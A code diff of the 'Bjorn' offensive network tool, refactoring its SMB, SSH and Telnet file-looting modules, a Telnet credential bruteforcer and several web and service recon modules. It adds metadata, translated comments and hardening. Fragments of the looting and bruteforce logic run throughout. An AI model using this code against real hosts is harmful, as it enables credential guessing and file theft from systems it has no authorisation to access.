b_description = "Loot files from SMB shares using cracked or anonymous credentials."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "StealFilesSMB.png"
|
||||||
|
|
||||||
|
|
||||||
class StealFilesSMB:
|
class StealFilesSMB:
|
||||||
@@ -166,6 +176,8 @@ class StealFilesSMB:
|
|||||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||||
try:
|
try:
|
||||||
self.shared_data.bjorn_orch_status = b_class
|
self.shared_data.bjorn_orch_status = b_class
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"ip": ip, "port": str(port), "share": "?", "files": "0"}
|
||||||
try:
|
try:
|
||||||
port_i = int(port)
|
port_i = int(port)
|
||||||
except Exception:
|
except Exception:
|
||||||
@@ -250,3 +262,6 @@ class StealFilesSMB:
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
return 'failed'
|
return 'failed'
|
||||||
|
finally:
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|||||||
@@ -1,23 +1,11 @@
|
|||||||
"""
|
"""steal_files_ssh.py - Loot files over SSH/SFTP using cracked credentials."""
|
||||||
steal_files_ssh.py — SSH file looter (DB-backed)
|
|
||||||
|
|
||||||
SQL mode:
|
|
||||||
- Orchestrator provides (ip, port) and ensures parent action success (SSHBruteforce).
|
|
||||||
- SSH credentials are read from the DB table `creds` (service='ssh').
|
|
||||||
- IP -> (MAC, hostname) mapping is read from the DB table `hosts`.
|
|
||||||
- Looted files are saved under: {shared_data.data_stolen_dir}/ssh/{mac}_{ip}/...
|
|
||||||
- Paramiko logs are silenced to avoid noisy banners/tracebacks.
|
|
||||||
|
|
||||||
Parent gate:
|
|
||||||
- Orchestrator enforces parent success (b_parent='SSHBruteforce').
|
|
||||||
- This action runs once per eligible target (alive, open port, parent OK).
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
import shlex
|
||||||
import time
|
import time
|
||||||
import logging
|
import logging
|
||||||
import paramiko
|
import paramiko
|
||||||
from threading import Timer
|
from threading import Timer, Lock
|
||||||
from typing import List, Tuple, Dict, Optional
|
from typing import List, Tuple, Dict, Optional
|
||||||
|
|
||||||
from shared import SharedData
|
from shared import SharedData
|
||||||
@@ -35,7 +23,7 @@ b_module = "steal_files_ssh" # Python module name (this file without
|
|||||||
b_status = "steal_files_ssh" # Human/readable status key (free form)
|
b_status = "steal_files_ssh" # Human/readable status key (free form)
|
||||||
|
|
||||||
b_action = "normal" # 'normal' (per-host) or 'global'
|
b_action = "normal" # 'normal' (per-host) or 'global'
|
||||||
b_service = ["ssh"] # Services this action is about (JSON-ified by sync_actions)
|
b_service = '["ssh"]' # Services this action is about (JSON string for AST parser)
|
||||||
b_port = 22 # Preferred target port (used if present on host)
|
b_port = 22 # Preferred target port (used if present on host)
|
||||||
|
|
||||||
# Trigger strategy:
|
# Trigger strategy:
|
||||||
@@ -61,6 +49,13 @@ b_rate_limit = "3/86400" # at most 3 executions/day per host (ext
|
|||||||
b_stealth_level = 6 # 1..10 (higher = more stealthy)
|
b_stealth_level = 6 # 1..10 (higher = more stealthy)
|
||||||
b_risk_level = "high" # 'low' | 'medium' | 'high'
|
b_risk_level = "high" # 'low' | 'medium' | 'high'
|
||||||
b_enabled = 1 # set to 0 to disable from DB sync
|
b_enabled = 1 # set to 0 to disable from DB sync
|
||||||
|
b_tags = ["exfil", "ssh", "sftp", "loot", "files"]
|
||||||
|
b_category = "exfiltration"
|
||||||
|
b_name = "Steal Files SSH"
|
||||||
|
b_description = "Loot files over SSH/SFTP using cracked credentials."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "StealFilesSSH.png"
|
||||||
|
|
||||||
# Tags (free taxonomy, JSON-ified by sync_actions)
|
# Tags (free taxonomy, JSON-ified by sync_actions)
|
||||||
b_tags = ["exfil", "ssh", "loot"]
|
b_tags = ["exfil", "ssh", "loot"]
|
||||||
@@ -71,6 +66,7 @@ class StealFilesSSH:
|
|||||||
def __init__(self, shared_data: SharedData):
|
def __init__(self, shared_data: SharedData):
|
||||||
"""Init: store shared_data, flags, and build an IP->(MAC, hostname) cache."""
|
"""Init: store shared_data, flags, and build an IP->(MAC, hostname) cache."""
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
|
self._state_lock = Lock() # protects sftp_connected / stop_execution
|
||||||
self.sftp_connected = False # flipped to True on first SFTP open
|
self.sftp_connected = False # flipped to True on first SFTP open
|
||||||
self.stop_execution = False # global kill switch (timer / orchestrator exit)
|
self.stop_execution = False # global kill switch (timer / orchestrator exit)
|
||||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||||
@@ -194,8 +190,8 @@ class StealFilesSSH:
|
|||||||
- shared_data.steal_file_names (substring match)
|
- shared_data.steal_file_names (substring match)
|
||||||
Uses `find <dir> -type f 2>/dev/null` to keep it quiet.
|
Uses `find <dir> -type f 2>/dev/null` to keep it quiet.
|
||||||
"""
|
"""
|
||||||
# Quiet 'permission denied' messages via redirection
|
# Quiet 'permission denied' messages via redirection; escape dir_path to prevent injection
|
||||||
cmd = f'find {dir_path} -type f 2>/dev/null'
|
cmd = f'find {shlex.quote(dir_path)} -type f 2>/dev/null'
|
||||||
stdin, stdout, stderr = ssh.exec_command(cmd)
|
stdin, stdout, stderr = ssh.exec_command(cmd)
|
||||||
files = (stdout.read().decode(errors="ignore") or "").splitlines()
|
files = (stdout.read().decode(errors="ignore") or "").splitlines()
|
||||||
|
|
||||||
@@ -203,7 +199,7 @@ class StealFilesSSH:
|
|||||||
names = set(self.shared_data.steal_file_names or [])
|
names = set(self.shared_data.steal_file_names or [])
|
||||||
if not exts and not names:
|
if not exts and not names:
|
||||||
# If no filters are defined, do nothing (too risky to pull everything).
|
# If no filters are defined, do nothing (too risky to pull everything).
|
||||||
logger.warning("No steal_file_extensions / steal_file_names configured — skipping.")
|
logger.warning("No steal_file_extensions / steal_file_names configured - skipping.")
|
||||||
return []
|
return []
|
||||||
|
|
||||||
matches: List[str] = []
|
matches: List[str] = []
|
||||||
@@ -218,7 +214,7 @@ class StealFilesSSH:
|
|||||||
logger.info(f"Found {len(matches)} matching files in {dir_path}")
|
logger.info(f"Found {len(matches)} matching files in {dir_path}")
|
||||||
return matches
|
return matches
|
||||||
|
|
||||||
# Max file size to download (10 MB) — protects RPi Zero RAM
|
# Max file size to download (10 MB) - protects RPi Zero RAM
|
||||||
_MAX_FILE_SIZE = 10 * 1024 * 1024
|
_MAX_FILE_SIZE = 10 * 1024 * 1024
|
||||||
|
|
||||||
def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None:
|
def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None:
|
||||||
@@ -227,6 +223,7 @@ class StealFilesSSH:
|
|||||||
Skips files larger than _MAX_FILE_SIZE to protect RPi Zero memory.
|
Skips files larger than _MAX_FILE_SIZE to protect RPi Zero memory.
|
||||||
"""
|
"""
|
||||||
sftp = ssh.open_sftp()
|
sftp = ssh.open_sftp()
|
||||||
|
with self._state_lock:
|
||||||
self.sftp_connected = True # first time we open SFTP, mark as connected
|
self.sftp_connected = True # first time we open SFTP, mark as connected
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -235,7 +232,7 @@ class StealFilesSSH:
|
|||||||
st = sftp.stat(remote_file)
|
st = sftp.stat(remote_file)
|
||||||
if st.st_size and st.st_size > self._MAX_FILE_SIZE:
|
if st.st_size and st.st_size > self._MAX_FILE_SIZE:
|
||||||
logger.info(f"Skipping {remote_file} ({st.st_size} bytes > {self._MAX_FILE_SIZE} limit)")
|
logger.info(f"Skipping {remote_file} ({st.st_size} bytes > {self._MAX_FILE_SIZE} limit)")
|
||||||
return
|
return # finally block still runs and closes sftp
|
||||||
except Exception:
|
except Exception:
|
||||||
pass # stat failed, try download anyway
|
pass # stat failed, try download anyway
|
||||||
|
|
||||||
@@ -245,6 +242,14 @@ class StealFilesSSH:
|
|||||||
os.makedirs(local_file_dir, exist_ok=True)
|
os.makedirs(local_file_dir, exist_ok=True)
|
||||||
|
|
||||||
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
|
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
|
||||||
|
|
||||||
|
# Path traversal guard: ensure we stay within local_dir
|
||||||
|
abs_local = os.path.realpath(local_file_path)
|
||||||
|
abs_base = os.path.realpath(local_dir)
|
||||||
|
if not abs_local.startswith(abs_base + os.sep) and abs_local != abs_base:
|
||||||
|
logger.warning(f"Path traversal blocked: {remote_file} -> {abs_local}")
|
||||||
|
return
|
||||||
|
|
||||||
sftp.get(remote_file, local_file_path)
|
sftp.get(remote_file, local_file_path)
|
||||||
|
|
||||||
logger.success(f"Downloaded: {remote_file} -> {local_file_path}")
|
logger.success(f"Downloaded: {remote_file} -> {local_file_path}")
|
||||||
@@ -286,6 +291,7 @@ class StealFilesSSH:
|
|||||||
|
|
||||||
# Define a timer: if we never establish SFTP in 4 minutes, abort
|
# Define a timer: if we never establish SFTP in 4 minutes, abort
|
||||||
def _timeout():
|
def _timeout():
|
||||||
|
with self._state_lock:
|
||||||
if not self.sftp_connected:
|
if not self.sftp_connected:
|
||||||
logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
|
logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
|
||||||
self.stop_execution = True
|
self.stop_execution = True
|
||||||
|
|||||||
@@ -1,12 +1,4 @@
|
|||||||
"""
|
"""steal_files_telnet.py - Loot files over Telnet using cracked credentials."""
|
||||||
steal_files_telnet.py — Telnet file looter (DB-backed)
|
|
||||||
|
|
||||||
SQL mode:
|
|
||||||
- Orchestrator provides (ip, port) after parent success (TelnetBruteforce).
|
|
||||||
- Credentials read from DB.creds (service='telnet'); we try each pair.
|
|
||||||
- Files found via 'find / -type f', then retrieved with 'cat'.
|
|
||||||
- Output under: {data_stolen_dir}/telnet/{mac}_{ip}/...
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import telnetlib
|
import telnetlib
|
||||||
@@ -25,6 +17,24 @@ b_module = "steal_files_telnet"
|
|||||||
b_status = "steal_files_telnet"
|
b_status = "steal_files_telnet"
|
||||||
b_parent = "TelnetBruteforce"
|
b_parent = "TelnetBruteforce"
|
||||||
b_port = 23
|
b_port = 23
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_service = '["telnet"]'
|
||||||
|
b_trigger = 'on_any:["on_cred_found:telnet","on_service:telnet"]'
|
||||||
|
b_requires = '{"all":[{"has_cred":"telnet"},{"has_port":23}]}'
|
||||||
|
b_priority = 60
|
||||||
|
b_cooldown = 3600
|
||||||
|
b_timeout = 600
|
||||||
|
b_stealth_level = 5
|
||||||
|
b_risk_level = "high"
|
||||||
|
b_max_retries = 1
|
||||||
|
b_tags = ["exfil", "telnet", "loot", "files"]
|
||||||
|
b_category = "exfiltration"
|
||||||
|
b_name = "Steal Files Telnet"
|
||||||
|
b_description = "Loot files over Telnet using cracked credentials."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "StealFilesTelnet.png"
|
||||||
|
|
||||||
|
|
||||||
class StealFilesTelnet:
|
class StealFilesTelnet:
|
||||||
@@ -110,7 +120,7 @@ class StealFilesTelnet:
|
|||||||
if password:
|
if password:
|
||||||
tn.read_until(b"Password: ", timeout=5)
|
tn.read_until(b"Password: ", timeout=5)
|
||||||
tn.write(password.encode('ascii') + b"\n")
|
tn.write(password.encode('ascii') + b"\n")
|
||||||
# prompt detection (naïf mais identique à l'original)
|
# Naive prompt detection (matches original behavior)
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
self.telnet_connected = True
|
self.telnet_connected = True
|
||||||
logger.info(f"Connected to {ip} via Telnet as {username}")
|
logger.info(f"Connected to {ip} via Telnet as {username}")
|
||||||
@@ -159,7 +169,9 @@ class StealFilesTelnet:
|
|||||||
# -------- Orchestrator entry --------
|
# -------- Orchestrator entry --------
|
||||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||||
try:
|
try:
|
||||||
self.shared_data.bjorn_orch_status = b_class
|
self.shared_data.bjorn_orch_status = "StealFilesTelnet"
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"ip": ip, "port": str(port), "files": "0"}
|
||||||
try:
|
try:
|
||||||
port_i = int(port)
|
port_i = int(port)
|
||||||
except Exception:
|
except Exception:
|
||||||
@@ -216,3 +228,6 @@ class StealFilesTelnet:
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
return 'failed'
|
return 'failed'
|
||||||
|
finally:
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|||||||
@@ -1,10 +1,4 @@
|
|||||||
"""
|
“””telnet_bruteforce.py - Threaded Telnet credential bruteforcer.”””
|
||||||
telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich)
|
|
||||||
- Cibles: (ip, port) par l’orchestrateur
|
|
||||||
- IP -> (MAC, hostname) via DB.hosts
|
|
||||||
- Succès -> DB.creds (service='telnet')
|
|
||||||
- Conserve la logique d’origine (telnetlib, queue/threads)
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import telnetlib
|
import telnetlib
|
||||||
@@ -28,11 +22,24 @@ b_parent = None
|
|||||||
b_service = '["telnet"]'
|
b_service = '["telnet"]'
|
||||||
b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]'
|
b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]'
|
||||||
b_priority = 70
|
b_priority = 70
|
||||||
b_cooldown = 1800 # 30 minutes entre deux runs
|
b_cooldown = 1800 # 30 min between runs
|
||||||
b_rate_limit = '3/86400' # 3 fois par jour max
|
b_rate_limit = '3/86400' # max 3 per day
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_timeout = 600
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 3
|
||||||
|
b_risk_level = "medium"
|
||||||
|
b_tags = ["bruteforce", "telnet", "credentials"]
|
||||||
|
b_category = "exploitation"
|
||||||
|
b_name = "Telnet Bruteforce"
|
||||||
|
b_description = "Threaded Telnet credential bruteforcer with prompt detection."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "TelnetBruteforce.png"
|
||||||
|
|
||||||
class TelnetBruteforce:
|
class TelnetBruteforce:
|
||||||
"""Wrapper orchestrateur -> TelnetConnector."""
|
"""Orchestrator wrapper for TelnetConnector."""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
@@ -40,11 +47,11 @@ class TelnetBruteforce:
|
|||||||
logger.info("TelnetConnector initialized.")
|
logger.info("TelnetConnector initialized.")
|
||||||
|
|
||||||
def bruteforce_telnet(self, ip, port):
|
def bruteforce_telnet(self, ip, port):
|
||||||
"""Lance le bruteforce Telnet pour (ip, port)."""
|
"""Run Telnet bruteforce for (ip, port)."""
|
||||||
return self.telnet_bruteforce.run_bruteforce(ip, port)
|
return self.telnet_bruteforce.run_bruteforce(ip, port)
|
||||||
|
|
||||||
def execute(self, ip, port, row, status_key):
|
def execute(self, ip, port, row, status_key):
|
||||||
"""Point d'entrée orchestrateur (retour 'success' / 'failed')."""
|
"""Orchestrator entry point. Returns 'success' or 'failed'."""
|
||||||
logger.info(f"Executing TelnetBruteforce on {ip}:{port}")
|
logger.info(f"Executing TelnetBruteforce on {ip}:{port}")
|
||||||
self.shared_data.bjorn_orch_status = "TelnetBruteforce"
|
self.shared_data.bjorn_orch_status = "TelnetBruteforce"
|
||||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||||
@@ -53,12 +60,12 @@ class TelnetBruteforce:
|
|||||||
|
|
||||||
|
|
||||||
class TelnetConnector:
|
class TelnetConnector:
|
||||||
"""Gère les tentatives Telnet, persistance DB, mapping IP→(MAC, Hostname)."""
|
"""Handles Telnet attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
|
|
||||||
# Wordlists inchangées
|
# Wordlists
|
||||||
self.users = self._read_lines(shared_data.users_file)
|
self.users = self._read_lines(shared_data.users_file)
|
||||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||||
|
|
||||||
@@ -71,7 +78,7 @@ class TelnetConnector:
|
|||||||
self.queue = Queue()
|
self.queue = Queue()
|
||||||
self.progress = None
|
self.progress = None
|
||||||
|
|
||||||
# ---------- util fichiers ----------
|
# ---------- file utils ----------
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _read_lines(path: str) -> List[str]:
|
def _read_lines(path: str) -> List[str]:
|
||||||
try:
|
try:
|
||||||
@@ -273,7 +280,8 @@ class TelnetConnector:
|
|||||||
self.results = []
|
self.results = []
|
||||||
|
|
||||||
def removeduplicates(self):
|
def removeduplicates(self):
|
||||||
pass
|
"""No longer needed with unique DB index; kept for interface compat."""
|
||||||
|
# Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|||||||
@@ -1,16 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""thor_hammer.py - Fast TCP banner grab and service fingerprinting per port."""
|
||||||
thor_hammer.py — Service fingerprinting (Pi Zero friendly, orchestrator compatible).
|
|
||||||
|
|
||||||
What it does:
|
|
||||||
- For a given target (ip, port), tries a fast TCP connect + banner grab.
|
|
||||||
- Optionally stores a service fingerprint into DB.port_services via db.upsert_port_service.
|
|
||||||
- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
|
||||||
|
|
||||||
Notes:
|
|
||||||
- Avoids spawning nmap per-port (too heavy). If you want nmap, add a dedicated action.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
@@ -35,6 +25,17 @@ b_action = "normal"
|
|||||||
b_cooldown = 1200
|
b_cooldown = 1200
|
||||||
b_rate_limit = "24/86400"
|
b_rate_limit = "24/86400"
|
||||||
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
|
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
|
||||||
|
b_timeout = 300
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 5
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_tags = ["banner", "fingerprint", "service", "tcp"]
|
||||||
|
b_category = "recon"
|
||||||
|
b_name = "Thor Hammer"
|
||||||
|
b_description = "Fast TCP banner grab and service fingerprinting per port."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "ThorHammer.png"
|
||||||
|
|
||||||
|
|
||||||
def _guess_service_from_port(port: int) -> str:
|
def _guess_service_from_port(port: int) -> str:
|
||||||
@@ -167,7 +168,7 @@ class ThorHammer:
|
|||||||
progress.advance(1)
|
progress.advance(1)
|
||||||
|
|
||||||
progress.set_complete()
|
progress.set_complete()
|
||||||
return "success" if any_open else "failed"
|
return "success"
|
||||||
finally:
|
finally:
|
||||||
self.shared_data.bjorn_progress = ""
|
self.shared_data.bjorn_progress = ""
|
||||||
self.shared_data.comment_params = {}
|
self.shared_data.comment_params = {}
|
||||||
|
|||||||
@@ -1,15 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""valkyrie_scout.py - Probe common web paths for auth surfaces, headers, and debug leaks."""
|
||||||
valkyrie_scout.py — Web surface scout (Pi Zero friendly, orchestrator compatible).
|
|
||||||
|
|
||||||
What it does:
|
|
||||||
- Probes a small set of common web paths on a target (ip, port).
|
|
||||||
- Extracts high-signal indicators from responses (auth type, login form hints, missing security headers,
|
|
||||||
error/debug strings). No exploitation, no bruteforce.
|
|
||||||
- Writes results into DB table `webenum` (tool='valkyrie_scout') so the UI can browse findings.
|
|
||||||
- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
@@ -37,6 +28,17 @@ b_action = "normal"
|
|||||||
b_cooldown = 1800
|
b_cooldown = 1800
|
||||||
b_rate_limit = "8/86400"
|
b_rate_limit = "8/86400"
|
||||||
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
|
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
|
||||||
|
b_timeout = 300
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 5
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_tags = ["web", "recon", "auth", "paths"]
|
||||||
|
b_category = "recon"
|
||||||
|
b_name = "Valkyrie Scout"
|
||||||
|
b_description = "Probes common web paths for auth surfaces, headers, and debug leaks."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "ValkyrieScout.png"
|
||||||
|
|
||||||
# Small default list to keep the action cheap on Pi Zero.
|
# Small default list to keep the action cheap on Pi Zero.
|
||||||
DEFAULT_PATHS = [
|
DEFAULT_PATHS = [
|
||||||
@@ -373,6 +375,9 @@ class ValkyrieScout:
|
|||||||
|
|
||||||
progress.set_complete()
|
progress.set_complete()
|
||||||
return "success"
|
return "success"
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"ValkyrieScout failed for {ip}:{port_i}: {e}")
|
||||||
|
return "failed"
|
||||||
finally:
|
finally:
|
||||||
self.shared_data.bjorn_progress = ""
|
self.shared_data.bjorn_progress = ""
|
||||||
self.shared_data.comment_params = {}
|
self.shared_data.comment_params = {}
|
||||||
|
|||||||
@@ -1,14 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""web_enum.py - Gobuster-powered web directory enumeration, streaming results to DB."""
|
||||||
web_enum.py — Gobuster Web Enumeration -> DB writer for table `webenum`.
|
|
||||||
|
|
||||||
- Writes each finding into the `webenum` table in REAL-TIME (Streaming).
|
|
||||||
- Updates bjorn_progress with actual percentage (0-100%).
|
|
||||||
- Respects orchestrator stop flag (shared_data.orchestrator_should_exit) immediately.
|
|
||||||
- No filesystem output: parse Gobuster stdout/stderr directly.
|
|
||||||
- Filtrage dynamique des statuts HTTP via shared_data.web_status_codes.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
@@ -37,6 +29,18 @@ b_priority = 9
|
|||||||
b_cooldown = 1800
|
b_cooldown = 1800
|
||||||
b_rate_limit = '3/86400'
|
b_rate_limit = '3/86400'
|
||||||
b_enabled = 1
|
b_enabled = 1
|
||||||
|
b_timeout = 600
|
||||||
|
b_max_retries = 1
|
||||||
|
b_stealth_level = 4
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_action = "normal"
|
||||||
|
b_tags = ["web", "enum", "gobuster", "directories"]
|
||||||
|
b_category = "recon"
|
||||||
|
b_name = "Web Enumeration"
|
||||||
|
b_description = "Gobuster-powered web directory enumeration with streaming results to DB."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "WebEnumeration.png"
|
||||||
|
|
||||||
# -------------------- Defaults & parsing --------------------
|
# -------------------- Defaults & parsing --------------------
|
||||||
DEFAULT_WEB_STATUS_CODES = [
|
DEFAULT_WEB_STATUS_CODES = [
|
||||||
@@ -60,14 +64,14 @@ GOBUSTER_LINE = re.compile(
|
|||||||
re.VERBOSE
|
re.VERBOSE
|
||||||
)
|
)
|
||||||
|
|
||||||
# Regex pour capturer la progression de Gobuster sur stderr
|
# Regex to capture Gobuster progress from stderr
|
||||||
# Ex: "Progress: 1024 / 4096 (25.00%)"
|
# e.g.: "Progress: 1024 / 4096 (25.00%)"
|
||||||
GOBUSTER_PROGRESS_RE = re.compile(r"Progress:\s+(?P<current>\d+)\s*/\s+(?P<total>\d+)")
|
GOBUSTER_PROGRESS_RE = re.compile(r"Progress:\s+(?P<current>\d+)\s*/\s+(?P<total>\d+)")
|
||||||
|
|
||||||
|
|
||||||
def _normalize_status_policy(policy) -> Set[int]:
|
def _normalize_status_policy(policy) -> Set[int]:
|
||||||
"""
|
"""
|
||||||
Transforme une politique "UI" en set d'entiers HTTP.
|
Convert a UI status policy into a set of HTTP status ints.
|
||||||
"""
|
"""
|
||||||
codes: Set[int] = set()
|
codes: Set[int] = set()
|
||||||
if not policy:
|
if not policy:
|
||||||
@@ -104,11 +108,12 @@ class WebEnumeration:
|
|||||||
"""
|
"""
|
||||||
def __init__(self, shared_data: SharedData):
|
def __init__(self, shared_data: SharedData):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
self.gobuster_path = "/usr/bin/gobuster" # verify with `which gobuster`
|
import shutil
|
||||||
|
self.gobuster_path = shutil.which("gobuster") or "/usr/bin/gobuster"
|
||||||
self.wordlist = self.shared_data.common_wordlist
|
self.wordlist = self.shared_data.common_wordlist
|
||||||
self.lock = threading.Lock()
|
self.lock = threading.Lock()
|
||||||
|
|
||||||
# Cache pour la taille de la wordlist (pour le calcul du %)
|
# Wordlist size cache (for % calculation)
|
||||||
self.wordlist_size = 0
|
self.wordlist_size = 0
|
||||||
self._count_wordlist_lines()
|
self._count_wordlist_lines()
|
||||||
|
|
||||||
@@ -121,7 +126,7 @@ class WebEnumeration:
|
|||||||
logger.error(f"Wordlist not found: {self.wordlist}")
|
logger.error(f"Wordlist not found: {self.wordlist}")
|
||||||
self._available = False
|
self._available = False
|
||||||
|
|
||||||
# Politique venant de l’UI : créer si absente
|
# Status code policy from UI; create if missing
|
||||||
if not hasattr(self.shared_data, "web_status_codes") or not self.shared_data.web_status_codes:
|
if not hasattr(self.shared_data, "web_status_codes") or not self.shared_data.web_status_codes:
|
||||||
self.shared_data.web_status_codes = DEFAULT_WEB_STATUS_CODES.copy()
|
self.shared_data.web_status_codes = DEFAULT_WEB_STATUS_CODES.copy()
|
||||||
|
|
||||||
@@ -132,10 +137,10 @@ class WebEnumeration:
|
|||||||
)
|
)
|
||||||
|
|
||||||
def _count_wordlist_lines(self):
|
def _count_wordlist_lines(self):
|
||||||
"""Compte les lignes de la wordlist une seule fois pour calculer le %."""
|
"""Count wordlist lines once for progress % calculation."""
|
||||||
if self.wordlist and os.path.exists(self.wordlist):
|
if self.wordlist and os.path.exists(self.wordlist):
|
||||||
try:
|
try:
|
||||||
# Lecture rapide bufferisée
|
# Fast buffered read
|
||||||
with open(self.wordlist, 'rb') as f:
|
with open(self.wordlist, 'rb') as f:
|
||||||
self.wordlist_size = sum(1 for _ in f)
|
self.wordlist_size = sum(1 for _ in f)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -162,7 +167,7 @@ class WebEnumeration:
|
|||||||
|
|
||||||
# -------------------- Filter helper --------------------
|
# -------------------- Filter helper --------------------
|
||||||
def _allowed_status_set(self) -> Set[int]:
|
def _allowed_status_set(self) -> Set[int]:
|
||||||
"""Recalcule à chaque run pour refléter une mise à jour UI en live."""
|
"""Recalculated each run to reflect live UI updates."""
|
||||||
try:
|
try:
|
||||||
return _normalize_status_policy(getattr(self.shared_data, "web_status_codes", None))
|
return _normalize_status_policy(getattr(self.shared_data, "web_status_codes", None))
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
|||||||
@@ -1,13 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""web_login_profiler.py - Detect login forms and auth controls on web endpoints (no exploitation)."""
|
||||||
web_login_profiler.py — Lightweight web login profiler (Pi Zero friendly).
|
|
||||||
|
|
||||||
Goal:
|
|
||||||
- Profile web endpoints to detect login surfaces and defensive controls (no password guessing).
|
|
||||||
- Store findings into DB table `webenum` (tool='login_profiler') for community visibility.
|
|
||||||
- Update EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
@@ -35,6 +28,17 @@ b_action = "normal"
|
|||||||
b_cooldown = 1800
|
b_cooldown = 1800
